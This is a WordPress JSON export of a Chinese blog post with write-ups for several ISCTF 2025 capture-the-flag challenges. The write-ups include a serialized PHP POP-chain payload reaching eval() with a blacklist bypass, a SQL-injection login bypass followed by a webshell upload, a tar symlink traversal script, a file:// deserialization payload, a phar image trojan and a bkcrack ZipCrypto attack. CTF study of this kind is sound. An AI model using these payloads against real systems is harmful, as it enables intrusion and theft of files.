{"id":93,"date":"2025-11-07T20:57:57","date_gmt":"2025-11-07T12:57:57","guid":{"rendered":"http:\/\/154.36.185.147\/?p=93"},"modified":"2026-02-01T20:58:49","modified_gmt":"2026-02-01T12:58:49","slug":"isctf%e9%83%a8%e5%88%86%e9%a2%98%e7%9b%aewp","status":"publish","type":"post","link":"http:\/\/www.plutoze.xyz\/index.php\/2025\/11\/07\/isctf%e9%83%a8%e5%88%86%e9%a2%98%e7%9b%aewp\/","title":{"rendered":"ISCTF\u90e8\u5206\u9898\u76eeWP"},"content":{"rendered":"\n

\u5c0f\u84dd\u9ca8\u7684RC4\u7cfb\u7edf Writeup<\/strong><\/p>\n\n\n\n

\u9898\u76ee\u7ed9\u4e86\u4e00\u4efd RC4 \u5b9e\u73b0\u7684 task.py\uff0c\u672b\u5c3e\u5199\u7740 #ISCTF2025 \u548c\u4e00\u6bb5\u5341\u516d\u8fdb\u5236\u5bc6\u6587\u3002<\/p>\n\n\n\n

\u811a\u672c\u7279\u70b9<\/p>\n\n\n\n

\u2022 KSA\/PRGA \u90fd\u662f\u6807\u51c6 RC4\uff0c\u4f46\u5bc6\u94a5\u5148\u505a\u4e86 sha256(key)\u3002<\/p>\n\n\n\n

\u2022 crypt \u76f4\u63a5\u5f02\u6216\uff0c\u53ef\u7528\u4e8e\u52a0\u5bc6\u4e5f\u53ef\u7528\u4e8e\u89e3\u5bc6\u3002<\/p>\n\n\n\n

\u89e3\u5bc6\u6b65\u9aa4<\/p>\n\n\n\n

1. \u8bfb\u53d6\u5bc6\u6587\uff1aba19a7116763ba8ba1c236c6bdc30187dcc8afb28c8fa5f26676388<\/p>\n\n\n\n

0b74f5fff915613718f4d19c3baf4bbe24bd57303ce103d<\/p>\n\n\n\n

2. \u5bc6\u94a5\u53d6\u6ce8\u91ca\u91cc\u7684 ISCTF2025\uff0c\u6309\u811a\u672c\u903b\u8f91\u5148 sha256\u3002<\/p>\n\n\n\n

3. \u7528\u540c\u4e00\u4e2a StreamCipher \u5bf9\u5bc6\u6587\u5b57\u8282\u6d41\u8c03\u7528 crypt \u5373\u53ef\u5f97\u5230\u660e\u6587\u3002<\/p>\n\n\n\n

<\/p>\n\n\n\n

ezpop <\/strong>\u9898\u89e3\uff08<\/strong>PHP <\/strong>\u53cd\u5e8f\u5217\u5316 <\/strong>POP<\/strong>\uff09<\/strong><\/p>\n\n\n\n

\u9898\u76ee\u6982\u89c8<\/strong><\/p>\n\n\n\n

\u2022 \u5165\u53e3\uff1aunserialize($_POST[‘ISCTF’]);\uff0c\u65e0\u5176\u5b83\u903b\u8f91\uff0c\u6e90\u7801\u76f4\u63a5\u5c55\u793a\u3002<\/p>\n\n\n\n

\u2022 \u76ee\u6807\uff1a\u8bfb \/flag \u6587\u4ef6\u3002\u7c7b\u4e0e\u89e6\u53d1\u70b9<\/strong><\/p>\n\n\n\n

\u2022 begin<\/p>\n\n\n\n

\u25e6 __construct($a) \u628a $a \u5b58\u5230 $var1\u3002<\/p>\n\n\n\n

\u25e6 __destruct() \u8f93\u51fa $this->var1\uff1b\u82e5\u4e3a\u5bf9\u8c61\u4f1a\u89e6\u53d1\u5176 __toString()\u3002<\/p>\n\n\n\n

\u25e6 __toString() \u8c03\u7528 $this->var2()\u3002<\/p>\n\n\n\n

\u2022 starlord\u3001anna\uff1a\u53ef\u7528\u4e8e\u522b\u7684\u94fe\uff0c\u8fd9\u91cc\u65e0\u9700\u4f7f\u7528\u3002<\/p>\n\n\n\n

\u2022 eenndd::__get()\uff1aeval($this->command)\uff0c\u4f46\u4f1a\u7528\u6b63\u5219\u9ed1\u540d\u5355\u62e6\u622a\u5305\u542b flag|<\/p>\n\n\n\n

system|…|\u7a7a\u683c\u3002<\/p>\n\n\n\n

\u2022 flaag::__invoke()\uff1amd5(md5($this->var11)) == 666 \u65f6\u8fd4\u56de $this->var10-<\/p>\n\n\n\n

>hey\u3002<\/p>\n\n\n\n

\u5229\u7528\u94fe\u8bbe\u8ba1<\/strong><\/p>\n\n\n\n

1. \u5916\u5c42 begin \u6790\u6784\u65f6\u8f93\u51fa $var1 \u2192 \u89e6\u53d1\u5185\u5c42 begin::__toString\u3002<\/p>\n\n\n\n

2. \u5185\u5c42 begin::__toString \u8c03\u7528 $var2() \u2192 \u5373 flaag::__invoke\u3002<\/p>\n\n\n\n

3. flaag::__invoke \u6821\u9a8c\u53cc\u91cd md5\uff1b213 \u6ee1\u8db3 md5(md5(213)) \u4ee5 666 \u5f00\u5934\u3002<\/p>\n\n\n\n

4. flaag \u8fd4\u56de $var10->hey\uff0c\u8bbf\u95ee\u4e0d\u5b58\u5728\u5c5e\u6027 hey \u89e6\u53d1 eenndd::__get\u3002<\/p>\n\n\n\n

5. eenndd::__get \u6267\u884c eval($command)\uff0c\u53ef\u6267\u884c\u4efb\u610f PHP \u4ee3\u7801\u3002<\/p>\n\n\n\n

\u5173\u952e\u7ed5\u8fc7<\/strong><\/p>\n\n\n\n

\u2022 \u9ed1\u540d\u5355\u5305\u542b flag \u4e0e\u7a7a\u683c\uff0c\u4f7f\u7528\u5b57\u7b26\u4e32\u62fc\u63a5\uff1a’\/f’.’lag’\uff0c\u65e0\u7a7a\u683c\u3001\u65e0\u8fde\u7eed flag\u3002<\/p>\n\n\n\n

\u2022 \u4ee3\u7801\u793a\u4f8b\uff1aecho(file_get_contents(‘\/f’.’lag’));<\/p>\n\n\n\n

\u5e8f\u5217\u5316\u7ed3\u6784<\/strong><\/p>\n\n\n\n

\u2022 \u6700\u7ec8\u5bf9\u8c61\uff1abegin(var1 = begin(var1=NULL,<\/p>\n\n\n\n

var2=flaag(var10=eenndd(command=payload), var11=”213″)), var2=NULL)<\/p>\n\n\n\n

\u2022 Payload\uff08POST \u53c2\u6570 ISCTF\uff09\uff1a<\/p>\n\n\n\n

O:5:\"begin\":2:{s:4:\"var1\";O:5:\"begin\":2:{s:4:\"var1\";N;s:4:\"var2\";O:5:\"flaag\":2:\n\n{s:5:\"var10\";O:6:\"eenndd\":1:{s:7:\"command\";s:36:\"echo(file_get_contents('\/\n\nf'.'lag'));\";}s:5:\"var11\";s:3:\"213\";}}s:4:\"var2\";N;}<\/code><\/pre>\n\n\n\n
<\/p>\n\n\n\n
flag<\/strong>\u5230\u5e95\u5728\u54ea<\/strong> (web\/flag<\/strong>\u5230\u5e95\u5728\u54ea<\/strong>.md)<\/strong><\/p>\n\n\n\n
flag\u5230\u5e95\u5728\u54ea<\/p>\n\n\n\n
dirsearch\u626b\u63cf\u626b\u51fa\u6765\u8def\u5f84 \/admin\/login.php<\/p>\n\n\n\n
\u8fdb\u53bbadmin\u767b\u5f55<\/p>\n\n\n\n
\u8003\u8651password\u4f7f\u7528\u4e07\u80fd\u5bc6\u7801<\/p>\n\n\n\n
password=1\u2019 OR \u20181\u2019=\u20191&username=admin<\/p>\n\n\n\n
\u8fdb\u53bb\u76f4\u63a5\u4e0a\u4f20\u4e00\u53e5\u8bdd\u6728\u9a6c\u5c31\u53ef\u4ee5<\/p>\n\n\n\n
\u8bbf\u95eewebshell\/XXX.php<\/p>\n\n\n\n
Post\u4f20\u5165hack=system(\u201cenv\u201d);<\/p>\n\n\n\n
<\/p>\n\n\n\n
flag<\/strong>\u6211\u501f\u8d70\u4e86<\/strong> (web\/flag<\/strong>\u6211\u501f\u8d70\u4e86<\/strong>.md)<\/strong><\/p>\n\n\n\n
\u6f0f\u6d1e\uff1a\u540e\u7aef\u81ea\u52a8\u89e3\u538b tar \u672a\u8fc7\u6ee4\u6210\u5458\u8def\u5f84\uff0c\u53ef\u901a\u8fc7\u8f6f\u94fe\u63a5\u8d8a\u6743\u8bfb\u53d6 \/flag\u3002<\/p>\n\n\n\n
\u590d\u73b0\uff1a\u5236\u4f5c\u542b\u8f6f\u94fe\u63a5\u7684 tar\uff08\u6587\u4ef6\u540d flag \u6307\u5411 \/flag\uff09\uff0c\u4e0a\u4f20\u540e\u8bbf\u95ee \/download\/flag \u5373\u53ef\u5f97<\/p>\n\n\n\n
\u5230 flag\u3002\u5236\u4f5c\u811a\u672c\uff1a<\/p>\n\n\n\n
import tarfile\n\nwith tarfile.open(\"symlink.tar\", \"w\") as t:\n\ninfo = tarfile.TarInfo(\"flag\")\n\ninfo.type = tarfile.SYMTYPE\n\ninfo.linkname = \"\/flag\"\n\nt.addfile(info)<\/code><\/pre>\n\n\n\n
\n<\/code><\/pre>\n\n\n\n
\u6765\u7b7e\u4e2a\u5230\u5427<\/strong> (web\/<\/strong>\u6765\u7b7e\u4e2a\u5230\u5427<\/strong>\/<\/strong>\u6765\u7b7e\u4e2a\u5230\u5427<\/strong>.md)<\/strong><\/p>\n\n\n\n
\u5ba1\u8ba1\u9644\u4ef6\uff0c\u53d1\u73b0\u9996\u9875\u5904\u663e\u7136\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff1a<\/p>\n\n\n\n
$ss = substr($s, strlen(“blueshark:”));<\/p>\n\n\n\n
$o = @unserialize($ss); \/\/ \u2190 \u8fd9\u91cc\u5b58\u5728\u6f0f\u6d1e<\/p>\n\n\n\n
\u7136\u540e\u6ce8\u610f\u5230\u5f15\u7528require_once \u201c.\/classes.php\u201d\uff0c\u6545\u53ef\u4ee5\u901a\u8fc7\u8be5\u7c7b\u6765\u6784\u9020\u653b\u51fb\u4ee3\u7801\u3002<\/p>\n\n\n\n
\u5728classes.php\u4e2d\u5f88\u663e\u7136\u80fd\u770b\u5230\u660e\u663e\u95ee\u9898\uff1aShitMountant\u7c7b\u5728__destruct()\u65f6\u4f1a\u8c03\u7528fetch()<\/p>\n\n\n\n
\u65b9\u6cd5\uff0c\u4f1a\u4f7f\u7528file_get_contents($this->url)\u8bfb\u53d6URL\u5185\u5bb9\u3002\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u6784\u9020\u4f2a\u534f\u8bae\u6765\u8bfb<\/p>\n\n\n\n
\u53d6\u672c\u5730\u6587\u4ef6\u3002\u636e\u6b64\uff0c\u53ef\u4ee5\u6784\u9020\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\uff1a<\/p>\n\n\n\n
<?php\n\nclass FileLogger {\n\npublic $logfile = \"\/tmp\/notehub.log\";\n\npublic $content = \"\";\n\n}\n\nclass ShitMountant {\n\npublic $url;\n\npublic $logger;\n\npublic function __construct($url) {\n\n$this->url = $url;\n\n$this->logger = new FileLogger();\n\n}}\n\n\/\/ \u521b\u5efa\u6076\u610f\u5bf9\u8c61\n\n$obj = new ShitMountant(\"file:\/\/\/flag\");\n\n$payload = serialize($obj);\n\necho \"blueshark:\" . $payload;\n\n?>\n\ninclude_upload<\/strong>\n\u8003\u8651phar\u7684\u6587\u4ef6\u5305\u542b\uff0c\u5148\u751f\u6210\u4e00\u4e2a\u53ef\u7528\u7684phar\uff1a\uff08php\u8bed\u6cd5\uff09\n\u63a5\u7740\u5bf9\u5176\u8fdb\u884cgzip\u538b\u7f29\uff0c\u83b7\u5f97\u56fe\u7247\u9a6c\uff0c\u6ce8\u610f\u6587\u4ef6\u540d\u9700\u8981\u5305\u542b .phar\uff0c\u5176\u4ed6\u600e\u4e48\u641e\u90fd\u53ef\u4ee5\n\u6bd4\u5982\u4ee5 12.phar.png \u4e3a\u6587\u4ef6\u540d\uff0c\u4e0a\u4f20\u540e\u5305\u542b\uff1a\ninclude.php?file=12.phar.png\uff0c\u5373\u53ef\u5f97\u5230flag\n\n\n\n\n\u5c0f\u84dd\u9ca8\u7684\u5343\u5c42FLAG (\u6742\u9879\/\u5c0f\u84dd\u9ca8\u7684\u5343\u5c42FLAG.md)<\/strong>\n\u6211\u628a\u8fd9\u4e00\u5c42\u5c42\u5d4c\u5957\u7684 zip \u90fd\u7ffb\u4e86\u4e2a\u904d\uff0c\u5e76\u628a\u89e3\u538b\u8fc7\u7a0b\u505a\u6210\u4e86\u81ea\u52a8\u5316\u811a\u672c\uff0c\u538b\u7f29\u5c42\u90fd\u662f\nWinZip \u7684 AES \u52a0\u5bc6\u5305\uff0c\u4e0b\u4e00\u5c42\u7684\u5bc6\u7801\u5199\u5728 zip \u7684\u6ce8\u91ca\u91cc\uff1b\u8fd9\u6761\u201c\u5bc6\u7801\u94fe\u201d\u4e00\u76f4\u6709\u6548\uff0c\u76f4\u5230\nflagggg3.zip\n\u7834\u89e3 flagggg3.zip\uff0c\u89e3\u51fa\u5185\u5c42 flagggg1.zip \u5e76\u83b7\u53d6 flag\u3002\n\u73af\u5883\u4e0e\u5de5\u5177\nWindows\uff08PowerShell\uff09\nbkcrack 1.8.1\uff08win64\uff09\nPython 3 + python-docx\uff08\u4ec5\u7528\u4e8e\u751f\u6210\u6587\u6863\uff09\n\u601d\u8def\nZipCrypto \u53ef\u7528\u5df2\u77e5\u660e\u6587\u653b\u51fb\uff1a\u82e5\u5df2\u77e5\u81f3\u5c11 12 \u5b57\u8282\u660e\u6587\uff08\u5176\u4e2d 8 \u5b57\u8282\u8fde\u7eed\uff09\uff0c\u53ef\u6062\u590d\u5185\n\u90e8\u5bc6\u94a5\u5e76\u89e3\u5bc6\u540c\u5bc6\u7801\u7684\u5176\u4ed6\u6761\u76ee\u3002\n\u538b\u7f29\u5305\u6ce8\u91ca\u6697\u793a\u8981\u77e5\u9053\u91cc\u9762\u5185\u5bb9\uff0c\u731c\u6d4b\u5185\u5c42\u6587\u4ef6\u540d\u4e3a flagggg1.zip\uff0c\u7528\u5b83\u4f5c\u5df2\u77e5\u660e\u6587\u3002\n\u6b65\u9aa4\n\u51c6\u5907\u5df2\u77e5\u660e\u6587\uff1a\u5185\u5bb9\u4e3a flagggg1.zip\uff0c\u5199\u5165 known_plain.bin\u3002\n\u5df2\u77e5\u660e\u6587\u653b\u51fb\uff1abkcrack.exe -C flagggg3.zip -c flagggg2.zip -p known_plain.bin -o 30\n\uff08\u504f\u79fb 30\uff09\u3002\n\u83b7\u53d6\u5185\u90e8\u5bc6\u94a5\uff1aae0c4b27 66c21cba b9a7958f\u3002\n\u89e3\u5bc6\u76ee\u6807\u6761\u76ee\uff1abkcrack.exe -C flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c21cba\nb9a7958f -d flagggg2_decrypted.zip\u3002\n\u89e3\u538b\u89e3\u5bc6\u7ed3\u679c\u5f97\u5230 flagggg1.zip\uff0c\u7ee7\u7eed\u89e3\u538b\u5f97\u5230 flagggg.txt\u3002\n\u5173\u952e\u547d\u4ee4\n\u2018flagggg1.zip\u2019 | Set-Content -Encoding ascii known_plain.bin\nbkcrack.exe -C flagggg3.zip -c flagggg2.zip -p known_plain.bin -o 30\nbkcrack.exe -C flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c21cba b9a7958f -d\nflagggg2_decrypted.zip\ntar -xf flagggg2_decrypted.zip\ntar -xf flagggg1.zip\n\u7ed3\u679c\nflagggg.txt \u5185\u5bb9\uff1aISCTF{3f165c87-c0d4-4903-9c47-3a8d3b9c83df}\u3002\n\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
\u5c0f\u84dd\u9ca8\u7684RC4\u7cfb\u7edf Writeup \u9898\u76ee\u7ed9\u4e86\u4e00\u4efd RC4 \u5b9e\u73b0\u7684 task.py\uff0c\u672b\u5c3e\u5199\u7740 #ISCTF202 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-93","post","type-post","status-publish","format-standard","hentry","category-learn"],"_links":{"self":[{"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/posts\/93","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/comments?post=93"}],"version-history":[{"count":1,"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/posts\/93\/revisions"}],"predecessor-version":[{"id":94,"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/posts\/93\/revisions\/94"}],"wp:attachment":[{"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/media?parent=93"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/categories?post=93"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/tags?post=93"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}